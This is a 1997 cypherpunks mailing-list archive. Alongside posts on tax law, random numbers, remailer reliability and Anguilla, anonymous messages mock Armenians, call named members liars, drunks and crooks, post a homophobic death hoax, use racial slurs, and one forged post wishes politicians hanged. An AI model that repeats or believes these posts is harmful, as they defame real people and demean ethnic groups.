Why does Ray Arachelian wear jeans with cuffs?

To catch the falling dandruff.


Did you hear that after Earthweb, LLP, sacked Ray Arachelian for
spamming the 'net, he got another job at a ski resort?

His only duty is to walk along the ski trails and shed dandruff.



The 10 greatest inventions attributed to Armenians:

The solar-powered flashlight.

The pencil with erasers on both ends.

The vodka bottle with a magnifying bottom for watching television.

The parachute that opens on impact.

The artificial dandruff for wig wearers.

The waterproof tea bag.

The reusable non-stick toilet paper.

Traffic light with a candle inside.

The padlock key escrow.

Wheelchair with pedals.





From real at freenet.edmonton.ab.ca  Sun Mar  9 18:09:37 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 9 Mar 1997 18:09:37 -0800 (PST)
Subject: [IMPORTANT] Diffie-Hellman
In-Reply-To: <199703092322.AAA00842@basement.replay.com>
Message-ID: <Pine.A41.3.95.970309190614.68938A-100000@fn2.freenet.edmonton.ab.ca>


Vulis what has this to do with cypherpunks




On Mon, 10 Mar 1997, Anonymous wrote:

> Timmy May's obsessive masturbation has lead to advanced degree of blindness and 
> hairy palms.
> 
>          /_/\/\
>          \_\  / Timmy May
>          /_/  \
>          \_\/\ \
>             \_\/
> 






From real at freenet.edmonton.ab.ca  Sun Mar  9 18:13:28 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 9 Mar 1997 18:13:28 -0800 (PST)
Subject: Something is genetically wrong with subhuman dandruff-covered Armenians...
In-Reply-To: <9703092356.AA01951@uu.psi.com>
Message-ID: <Pine.A41.3.95.970309190935.68938B-100000@fn2.freenet.edmonton.ab.ca>





Vulis what has this to do with cypherpunks






From lucifer at dhp.com  Sun Mar  9 20:34:25 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 9 Mar 1997 20:34:25 -0800 (PST)
Subject: No Subject
Message-ID: <199703100434.XAA19345@dhp.com>


Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
with his faggot lover.

           __o
         _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
        (_)/(_)









From dlv at bwalk.dm.com  Sun Mar  9 21:10:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 21:10:29 -0800 (PST)
Subject: Something is genetically wrong with subhuman dandruff-covered Armenians...
In-Reply-To: <Pine.A41.3.95.970309190935.68938B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <g03B4D188w165w@bwalk.dm.com>


Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:

> Vulis what has this to do with cypherpunks

What has Arsen "Ray" Arachelian to do with cypherpunks?

Nothing, because he doesn't know anything about cryptography.

Graham-John, when I spoke to you on the phone, you sounded like
a reasonable guy.  Right now you're behaving like a total twit.
People are probably killfiling you by the  dozen. It's just too
bad, because I know from alt.2600 that you're capable of saying
something interesting sometimes.  Please stop being an asshole.

              ___           _,.---,---.,_
              |         ,;~'             '~;,
              |       ,;                     ;,
     Frontal  |      ;                         ; ,--- Supraorbital Foramen
      Bone    |     ,'                         /'
              |    ,;                        /' ;,
              |    ; ;      .           . <-'  ; |
              |__  | ;   ______       ______   ;<----- Coronal Suture
             ___   |  '/~"     ~" . "~     "~\'  |
             |     |  ~  ,-~~~^~, | ,~^~~~-,  ~  |
   Maxilla,  |      |   |        }:{        | <------ Orbit
  Nasal and  |      |   l       / | \       !   |
  Zygomatic  |      .~  (__,.--" .^. "--.,__)  ~.
    Bones    |      |    ----;' / | \ `;-<--------- Infraorbital Foramen
             |__     \__.       \/^\/       .__/
                ___   V| \                 / |V <--- Mastoid Process
                |      | |T~\___!___!___/~T| |
                |      | |`IIII_I_I_I_IIII'| |
       Mandible |      |  \,III I I I III,/  |
                |       \   `~~~~~~~~~~'    /
                |         \   .       . <-x---- Mental Foramen
                |__         \.    ^    ./
                              ^~~~^~~~^       -dcau (4/15/95)





From caseym at genesisnetwork.net  Sun Mar  9 21:27:40 1997
From: caseym at genesisnetwork.net (casey moss)
Date: Sun, 9 Mar 1997 21:27:40 -0800 (PST)
Subject: TOLL FREE Internet access
Message-ID: <3.0.1.32.19970309211026.006771f8@webb.genesisnetwork.net>


Please stop in and visit our website at ...

http://www.genesisnetwork.net

GENESIS Network has sucessfully signed up over 10,000 internet coustomers
on the internet, see what we can do for you.

Thanks for your time ! 








From gbroiles at netbox.com  Mon Mar 10 01:27:45 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Mon, 10 Mar 1997 01:27:45 -0800 (PST)
Subject: Why Income Tax is Unconstitutional (fwd)
In-Reply-To: <199703091630.KAA18500@einstein.ssz.com>
Message-ID: <3.0.1.32.19970310013426.006d6284@mail.io.com>


At 08:21 PM 3/9/97 -0500, Mark M. wrote:
>http://www.iac.net/~solution/notax/ actually says that the tax law excludes
>U.S. citizens who do not live in Washington D.C. or are not federal
employees.

Yes, the web page says that, but it is incorrect. 

>I'm not about to read all 7,000 pages of the tax code to see if they are
>correct, but the definitions section of the code do indicate that their
>interpretation is correct.

It's not even necessary to look at the tax code (which is not 7,000 pages
long, although it is complex) to see that their argument is wrong.

Their argument is that 26 USC 7701(a)(9) defines "United States" to mean
"States" and "the District of Columbia", and that 26 USC 7701(a)(10)
defines "States" as "District of Columbia". Leaving aside their (incorrect)
interpretation of "includes" as "is", their interpretation of 7701(a)(10)
suggests that 7701(a)(9) really says "United States" means "District of
Columbia and District of Columbia" which makes no sense at all. "States"
cannot mean "District of Columbia" if, in the same subsection, another
definition uses the phrase "the States and the District of Columbia".
Clearly Congress did not intend "States" to mean "District of Columbia".

(The web page points out this flaw in their construction of the statute but
apparently fails to understand that it's fatal to their interpretation.
Bzzt.) 

Their other arguments are similarly absurd. Their interpretation of the
Supreme Court case they cite is ridiculous. The decision is on the web at
<http://www.findlaw.com/scripts/getcase.pl?court=US&vol=324&invol=652>,
(paper cite is 324 US 652); given the discrepancy between their version and
the actual text I can see why they haven't bothered to provide a cite.  

The real heart of their screwed-up-ness is that they interpret "includes"
to mean "is", so that they think "employee includes government employees"
reads "employee is government employees" and "states includes the District
of Columbia" reads "states is the District of Columbia". That
interpretation is wrong, and all of their arguments that rest upon it are
fatally flawed. For example, according to Black's Law Dictionary (which
isn't the law anywhere, but isn't an awful place to look for the definition
of a word, other resources being unavailable), says that "include" .. "may,
according to context, express an enlargement and have the meaning of *and*
or *in addition to*, or merely specify a particular thing already included
within general words theretofore used. 'Including' within statute is
interpreted as a word of enlargement or of illustrative application as well
as a word of limitation. Premier Products Co. v. Cameron, 240 Or 123, 400
P2d 227, 228." (emphasized words were italicized in original)

>I suppose using this information as a defense
>might work, but one would probably have to sue the IRS to get all forfeited
>property returned for failure to pay income tax.

>From time to time tax protestors and people with weird interpretations of
the tax code manage to convince juries that they believed that their
failure to pay tax was lawful, and hence they didn't have the required
criminal intent to be guilty of criminal evasion/failure to file. But more
frequently, juries (who pay income tax, too) aren't especially sympathetic
to that story and send the goofballs to jail. (Misinterpretation of the tax
code might - might - keep you out of jail. But it won't get your house
back, or put the $ back in your bank account.) 

The people who publish this crap ought to be ashamed of themselves. As it
happens, they usually don't follow their own advice, *go ahead and pay
their taxes*, and get rich while their gullible customers get themselves in
a lot of trouble. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From adnet at jobops.com  Mon Mar 10 03:46:27 1997
From: adnet at jobops.com (adnet at jobops.com)
Date: Mon, 10 Mar 1997 03:46:27 -0800 (PST)
Subject: The secrets to finding ANY JOB on the internet.
Message-ID: <199703101117.DAA08336@mail2.deltanet.com>


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-If you wish to respond to this e-mail please do so to the P.O. Box
listed above. There is no reply address available at this time due to
possible ISP Server overload. 



P.S. I truly believe in the mass e-mail or bulk e-mail concept. Many
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From lucifer at dhp.com  Mon Mar 10 04:55:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 10 Mar 1997 04:55:38 -0800 (PST)
Subject: More proof that Charles Platt is a pathological liar and a crook
Message-ID: <199703101255.HAA17283@dhp.com>


The pathological liar Charles Platt <cp at panix.com> posted the following
racist garbage to the "cypherpunks at toad.com" mailing list:

> I've been writing up my week in Anguilla, including a digested version of
> the interviews I did with the Minister of Finance and the owner of the
> local bank. I append this text below. Please note that although I am

It was very poor judgment on Minister's part to meet with the pathological
liar and an alcoholic  - Charles Platt.

> distributing it via this list, I still consider it copyrighted material,
> for what that's worth. It will eventually be published, in some form, in a
> magazine, as part of a much longer article.

Right - Chris Platt wants everybody to believe that he's a journalist.
Just ask all the people on sci.cryo who think he's just a lying crook.
If the drunkard publishes this crap, it'll be at his own expense.

> More to the point, this is UNCORRECTED text, probably containing spelling
> errors, and Vince Cate or Bob Hettinga may well be able to correct some
> factual errors, in which case I encourage them to do so.
>
> --Charles Platt

What a maroon. Does the FBI monitor this mailing list? They better
find out why he's suddenly interested in money laundering. Is Charles
Platt dealing drugs too?

>      Monday evening, there's a cocktail party on Road Bay,

Of course Charles Platt would be found at a cocktail party.

Did he get drunk like a skunk again and shout obscenities at the guests?

Did he get arrested by Anguila police this time?

> where pirates, rum smugglers, and slave traders once made
> landfall and the ocean is such a vivid azure, it looks
> artificially enhanced. Everyone gathers in a colorfully
> painted shack out on the white-sand beach, where a bar serves
> free margaritas and bad steel band music plays from cheap

I bet Charles Platt had at least a dozen before he switched to
Long Islands Ice Teas. Too bad they didn't serve coke at this party.

Did Charles Platt bring his own coke and try to sell it to the guests?

> loudspeakers as the sun goes down.
>      The party is being thrown by Lynwood Bell, a stern but
> hearty character who's the only one wearing a tie. He
> projects an image of dignity and respectability, which is
> appropriate since he owns a bank.

It was very foolish of Lynwood ever to talk to Charles Platt,
because Charles Platt is a crackpot and a pathological liar.

>      "Anguilla used to have a large number of banks," he
> tells me. "In fact, there were 47. But several years ago a
> British commission reviewed their records, and today only
> mine remains. The rest were snuffed out or left voluntarily."
>      Anguilla still retains a British governor who can
> veto local legislation. "I like that it's under the eye of
> the British," Bell claims. "It would be much harder to
> corrupt the government here than in some other Caribbean
> countries."
>      He won't name names, but I suspect he's thinking of
> islands such as Antigua or St. Kitts, where there have been
> some memorable scandals.

Alcoholic degenerate Charles Platt is a patholigical liar who probably
twisted everything poor Lynwood said.

>      I ask Bell to what extent his bank assures privacy. "The
> country does have strong secrecy laws," he says, sounding
> very cautious, "but the theme that is more--ah--appropriate
> for your readers is that we do not provide secrecy from money
> laundering and fraud."
>      Bell used to be the country staff sales manager in
> Canada for IBM, so he has no trouble seeing "an expanse of
> possibilities" to be opened up by the Internet. "I think the
> main barriers to financial transactions on the net are fear,
> uncertainty, and greed. People think they are protecting
> their existing highly profitable operations instead of
> realizing that if they open the doors they would have ten
> times as much business."

Charles Platt was drunk like a skunk when Lynwood allegedly said this.
Did he bring a tape recorder or did he just make up the whole quote?

>      And Bell outlines a vision that sounds remarkably
> similar to Cate's. In fact, come to think of it, he may have
> acquired it from Cate. "Companies are going to want to set up
> their business on the Internet in a country where they get
> freedom from taxation," he says.
>      But if some people put a web page on Vincent Cate's
> server, form a corporation in Anguilla, and open at account
> at Lynwood Bell's bank, does that really exempt them from
> American corporate taxes, bearing in mind that physically
> they never leave the United States?

I bet Lynwood is going to be very embarrased when he finds out
that he was interviewed by a crook and a pathological liar.

In fact, Lynwood already announced that he never said anything
remotely resembling the long quotes Charles Platt attributed
to him. Platt just made up all these quotes. Liar!

>      "Quite possible," claims Bell. "Tax authorities always
> ask if there is 'mind and management' in a country, or just
> nominees doing things. A server here, with transactions going
> through it, adds to the mind and management. If an offer of
> money is made on Vince's web site, under British common law,
> the offer was made in Anguilla. If the offer is accepted, I
> define that as where we check the person's credit. We do the
> credit check from here--electronically, of course. The only
> way that British or U.S. authorities could object would be if
> there were physical goods moving from here into those
> countries, in which case they would impose a customs tax."
>      So, Bell has his niche market carefully mapped out, and
> now he's just waiting for net businesses to realize what a
> deal they're missing. (He isn't interested in individuals
> wanting private bank accounts, though; corporate customers
> only need apply.)

Of course Lynwood doesn't want Charles Platt's bank account.
The money Charles Platt wanted to depost in Anguila was
stolen from Platt's former business partners and clients
of his fraudelent "cryocare" business.

Charles Platt is a crook and is primarily interested in
money laundering. Lynwood stopped talking to Charles
Platt after he realized that he was drunk like a skunk.

>      Meanwhile, the Honorary Victor Banks, Minister of
> Finance, Planning, and Economic Development in the Government
> of Anguilla, is also hanging out at the party, a barrel-

Charles Platt is so stupid, he can't spell "Honorable".

> chested man wearing an open-necked checked shirt and
> brown pants. He's treating all the guests with scrupulous
> respect--even the hairiest types who look twisted and
> paranoid, because for all he knows, these people are helping
> to mold online commerce, and Anguilla wants a piece of it.

The only person who wasn't treated with any respect was Charles Platt
himself, because the twisted and paranoid crackpot got drunk and was
shouting obscenities at the guests. Anybody who refused to talk to
Charles Platt because he was drunk and is known to be a liar and a
crook got labeled "twisted and paranoid".

>      Banks tells me he is computer-literate (he owns a
> Gateway 2000, "with a Pentium processor," he adds quickly).
> Then he trots out a string of earnest platitudes. "Regardless
> of restrictions imposed by US and european countries, this
> emerging technology will eventually win out. Internet-based
> commerce is a very important issue. Here in Anguilla we are
> well situated for it. Our banks are well regulated, clean,
> secure, we are very vigilant of criminal activity, we have
> strong rules against money laundering and traffic in illegal
> drugs. We have mutual legal assistance with the U.S. that
> allows them to get information from us about any clientele
> involved in criminal activity, although they can't go on
> fishing expeditions to find out about tax avoidance."

Poor Banks really regrets having spoken to the racist lying crackpot
Charles Platt. In another article Platt wrote that Banks isn't fit to be
a minister because he knows too much:

>      Banks seems blissfully unaware that most of the
> cryptonerds around him probably see nothing wrong with money
> laundering and illegal drugs, and view all governments as an
> archaic encrumbrance ripe for demolition. I can't see Victor
> Banks sympathizing with this libertarian attitude, and indeed
> it turns out that he obtained his masters degree in economics
> at The New School for Social Research in New York City, where
> the graduate faculty promotes Marxist economic theory,
> attracting many students from some Latin American countries.

Right - Charles Platt is a high school dropout who bought his B.A. in
journalism from a mail order college advertized in the National
Enquirer. Platt is threatened by "spics" and "niggers" who graduated
high school and know more than he does about economic theories.

>      When I mention this to Banks, he simply denies it. "My
> education was not left-wing," he says. But I happen to teach
> at The New School's computer lab, so I have personal

The fact that New School has a drunkard teaching students how to insert
a floppy in a PC and how to bring up Microsoft Word reflects very badly
on this school. They should fire Charles Platt at once to avoid further
embarassment.

> experience of its politics. Of course Banks may be a late
> convert to market economics, just like Deng Xiaopeng. On the

It takes a very sick mind to conclude that since 20 years ago the
Minister of Finance went to the same school that later was foolish
enough to hire Charles Platt to teach Microsoft Office, and Platt has
noticed Marxists there, that the Minister is anything close to a Marxist
or to assume anything at all about Anguilla. After all, Platt is
currently near this school, so by his twisted and paranoid logic he must
have caught the infection too.

> other hand, Anguilla's government doesn't seek competitive
> bids for contracts, maintains a state-owned radio station, and
> allows Cable and Wireless to have a comfortable monopoly

The USA had a monopoly phone company not that long ago.

> of the phone system, with the result that calling rates are
> extortionate and you have to wait three months to get a
> phone installed. Cable and Wireless have even deactivated all the pound
> keys and star keys on Anguillan phones so that no one can use
> United States call-back services.

This claim by Charles Platt was shown to be another lie.

>      Something tells me that when Anguilla begins to
> understand what the net is _really_ all about, the
> government's enthusiasm may become tempered with caution--
> or even (perish the thought!) protectionism.

Who cares what Charles Platt thinks - he's just an alcoholic crackpot.

Perpetually drunk, Charles Platt has been spamming Usenet with ads for
his phoney 'cryocare' business - freezeing dead bodies so they can be
revived in the future. Many former business partners and victims of his
scams have exposed Charles Platt as a liar and a crook. Now Charles
Platt wants to diversify into money laundering. Someone, call the FBI.






From ichudov at algebra.com  Mon Mar 10 05:31:10 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 10 Mar 1997 05:31:10 -0800 (PST)
Subject: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <199703101324.HAA15370@manifold.algebra.com>


lucifer Anonymous Remailer wrote:
> > distributing it via this list, I still consider it copyrighted material,
> > for what that's worth. It will eventually be published, in some form, in a
> > magazine, as part of a much longer article.
> 
> Right - Chris Platt wants everybody to believe that he's a journalist.
> Just ask all the people on sci.cryo who think he's just a lying crook.
> If the drunkard publishes this crap, it'll be at his own expense.

Hey, there is no such newsgroup -- sci.cryo.

I suggest that interested readers check out DejaNews and make sure.

... rest deleted ...

	- Igor.





From rah at shipwright.com  Mon Mar 10 06:22:32 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 10 Mar 1997 06:22:32 -0800 (PST)
Subject: Hot and cold running randomness
Message-ID: <v0302091baf49befd4bc7@[139.167.130.246]>



>From Keith Dawson's Tasty Bits from the Technology Front....

Cheers,
Bob Hettinga


> ..Hot and cold running randomness
>
>     Perhaps for the first time, anyone with an Internet connection can
>     tap a source of true randomness. The creator of HotBits [16], John
>     Walker <kelvin at fourmilab.ch>, describes it as
>
>       > an Internet resource that brings genuine random numbers, gen-
>       > erated by a process fundamentally governed by the inherent
>       > uncertainty in the quantum mechanical laws of nature, directly
>       > to your computer... HotBits are generated by timing successive
>       > pairs of radioactive decays... You order up your serving of
>       > HotBits by filling out a [Web] request form... the HotBits
>       > server flashes the random bytes back to you over the Web.
>
>     Walker modified an off-the-shelf radiation detector to interface to
>     a PC-compatible serial port, and ran a cable three floors down from
>     his office to a converted 70,000-litre subterranean water cistern
>     with metre-thick concrete walls, where the detector nestles with a
>     60-microcurie Krypton-85 radiation source.
>
>     If you're in the mood for an anti-Microsoft rant of uncommon elo-
>     quence, Walker can supply that too [17].
>
>     Thanks to Keith Bostic <bostic at bostic.com> for the word on this de-
>     lightful service.
>
>     [16] <URL:http://www.fourmilab.ch/hotbits/>
>     [17] <URL:http://www.fourmilab.ch/hotbits/source/hotbits-c.html>
>     ____________________


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From raph at CS.Berkeley.EDU  Mon Mar 10 06:50:22 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 10 Mar 1997 06:50:22 -0800 (PST)
Subject: List of reliable remailers
Message-ID: <199703101450.GAA26718@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail at miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster at remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer at replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer at remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack at holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer at dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer at cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock at rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config at nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer at huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix at squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman at jpunix.com> cpunk mix pgp hash latent cut ek reord ?";
$remailer{'cyber'} = '<alias at alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman at athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config at weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman at cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer at wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer at lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer at hidden.net> cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Mar 97 6:47:16 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
balls    remailer at huge.cajones.com        ###-########    38:00  99.99%
hidden   remailer at hidden.net              ++.-*###+###    40:11  99.98%
nym      config at nym.alias.net             *+-+++*+*-+-    32:49  99.98%
cyber    alias at alias.cyberpass.net        + **+ *****+    37:51  99.79%
extropia remail at miron.vip.best.com        __.--.--.--  15:21:15  99.64%
middle   middleman at jpunix.com             *------ ---+  1:48:16  99.48%
dustbin  dustman at athensnet.com            ._.  ++.- -+  2:26:36  98.79%
lucifer  lucifer at dhp.com                    +++ + +++     42:46  98.55%
reno     middleman at cyberpass.net           -. -*..*  +    28:08  98.51%
shaman   remailer at lycaeum.org             +++ ++- ++**    28:02  98.13%
winsock  winsock at rigel.cyberpass.net      ----..--- .-  9:03:43  98.12%
haystack haystack at holy.cow.net            + ##. # ###     26:59  95.11%
replay   remailer at replay.com              *+***+++**-     18:09  91.09%
exon     remailer at remailer.nl.com         ++#*  #  # -  1:19:18  88.93%
mix      mixmaster at remail.obscura.com      _ _ .       78:03:04  88.85%
jam      remailer at cypherpunks.ca           +* -***** -  1:28:27  86.65%
weasel   config at weasel.owl.de             ++-+++++++    1:26:26  84.74%
squirrel mix at squirrel.owl.de                              59:37  -6.60%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From rah at shipwright.com  Mon Mar 10 06:55:56 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 10 Mar 1997 06:55:56 -0800 (PST)
Subject: FCBA Interactive Media Committee Brown Bag Lunches
Message-ID: <v03020929af49cdcec716@[139.167.130.246]>



--- begin forwarded text


MIME-Version: 1.0
Date:         Mon, 10 Mar 1997 08:23:05 -0800
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L at LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L at LISTSERV.AOL.COM>
From:         Robert Cannon <cannon at DC.NET>
Subject:      FCBA Interactive Media Committee Brown Bag Lunches
To:           CYBERIA-L at LISTSERV.AOL.COM

FCBA Interactive Media Practice Brown Bag Lunches in Washington DC
[from the FCBA Newsletter (March 1997)]

March 12: Robert Holleyman
May 15: Prof David Post

On Wednesday, March 12, the Interactive Media Practice of the Federal
Communications Bar Association will hold a brown bag luncheon meeting
with guest speaker Robert Holleyman, President of the Software Business
Alliance.  Mr. Holleyman will discuss "Encryption on the Internet."  The
meeting will be held at Siemens Corporation, 701 Pennsylvania Avenue,
NW, beginning at noon.  Please RSVP to Cheryl Steadley, (202) 434-4805,
if you can attend.

On Thursday, May 15, the committee will hold another brown bag luncheon
meeting with Professor David Post, Visiting Association Professor of
Law, Georgetown University Law Center, and Co-Director of the Cyberspace
Law Institute.  Prof. Post will discuss his paper "Law and Borders - The
Rise of Law in Cyberspace." The meeting will be held at the Federal
Communications Commission, 1919 M Street, NW, Room 845, beginning at
noon.  Please RSVP to Marie Moyd, 202-418-2100, if you can attend.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From wclerke at emirates.net.ae  Mon Mar 10 07:11:45 1997
From: wclerke at emirates.net.ae (Wayne Clerke)
Date: Mon, 10 Mar 1997 07:11:45 -0800 (PST)
Subject: Anguilla
Message-ID: <199703101510.TAA22641@ns2.emirates.net.ae>


> From: Vincent Cate <vince at offshore.com.ai>
> To: Charles Platt <cp at panix.com>
> Cc: cypherpunks at toad.com
> Subject: Re: Anguilla 
> Date: Sunday, 9 March 1997 9:22
> 
> Charles:
> > his country shows few signs of libertarian ideology; e.g. they have a
> > state-owned radio station, they haven't quite embraced the idea of
> > competitive bids for government projects, and they still have a
> > monopolistic phone service that has disabled all the pound and star
keys
> > on island phones so that people can't save money using American
call-back
> > services. 
> 
> I am going to have to check tomorrow and see about thse star and
> pound keys.  It would amuse me if we had seen the birth of an urban
> legend.

Hopefully stillborn. 

I use these services regularly and have never bothered to use the # or *
keys. BTW a 'pound' symbol is NOT the same as a 'hatch', fer chrissake!
While I'm on the soapbox, a 'hash' is NOT a 'hatch' as well ... but that's
a losing battle.

> 
>                           Anguilla         vs       USA
> 1) Income taxes           Libertarian             Socialist
> 2) Sales Taxes            Libertarian             Socialist
> 3) State owned radio      Yes                     Yes
> 4) Competative bids       Sometimes               Sometimes
> 5) Pound keys that work   ?  Will check           Yes
> 6) Reporting of finances  Libertarian             Totalitarian
> 7) Free Speech            Yes, sort of            Yes, sort of
> 
>   -- Vince
> 

Regards,

Mail: <a href=mailto:wclerke at emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D		FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome.			Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.






From trei at process.com  Mon Mar 10 07:27:49 1997
From: trei at process.com (Peter Trei)
Date: Mon, 10 Mar 1997 07:27:49 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
Message-ID: <199703101527.HAA22155@toad.com>



Someone calling themselves "Tim May" wrote:
> The only solution is to use crypto anarchy to destabilize the system and,
> hopefull, see them swinging by their necks in front of the Washington
> Monument. Nearly every politician I'm aware of has richly earned the death
> penalty, and I hope to see in my lifetime justice carried out.

Tim:

It looks like Jim Bell is faking mail from you to the list.

Peter Trei
trei at process.com





From networks at vir.com  Mon Mar 10 08:04:21 1997
From: networks at vir.com (networks at vir.com)
Date: Mon, 10 Mar 1997 08:04:21 -0800 (PST)
Subject: Anguilla is not Marxist!
Message-ID: <01BC2D41.A439B220@ipdyne21.vir.com>



Just an interesting point here about the 
absence of * and # keys on Anguilla's 
phones...  

The US is not immune from similar anti-
competitive tactics at pay phones.  A number
of new pay phones now have only numbers on
their keypads (no letters).  The reasoning
behind this is that people will not be able to
place their long distance charges though
other companies (e.g. 1-800 CALL ATT etc.).


Alan
networks at vir.com






From jya at pipeline.com  Mon Mar 10 08:06:49 1997
From: jya at pipeline.com (John Young)
Date: Mon, 10 Mar 1997 08:06:49 -0800 (PST)
Subject: DES_pon
Message-ID: <1.5.4.32.19970310155939.006c656c@pop.pipeline.com>


3-10-97

"U.S. Diplomat in Germany Reported Expelled for Spying"

   A U.S. diplomat is reported to have been expelled
   from Bonn, after being accused of committing economic 
   espionage against Germany, one of Washington's 
   staunchest allies. 

-----

DES_pon






From sunder at brainlink.com  Mon Mar 10 08:10:32 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 10 Mar 1997 08:10:32 -0800 (PST)
Subject: Russophobia
In-Reply-To: <R8NB4D175w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970310111134.6247A-100000@beast.brainlink.com>


On Sun, 9 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> And now for something crypto-relevant:
> 
> I want to set up an easy-to-use, not necessarily very secure, anon server
> at dm.com. Can someone please send me some source code (or pointer thereto).
> (I mean, a system similar to what Julf used to have on anon.penet.fi, not
> mixmaster, etc - I know where these are.)

And who would trust you with their privacy?  Lemme guess you got tired of 
using other people's anonymous remailers to send your silly spams and now 
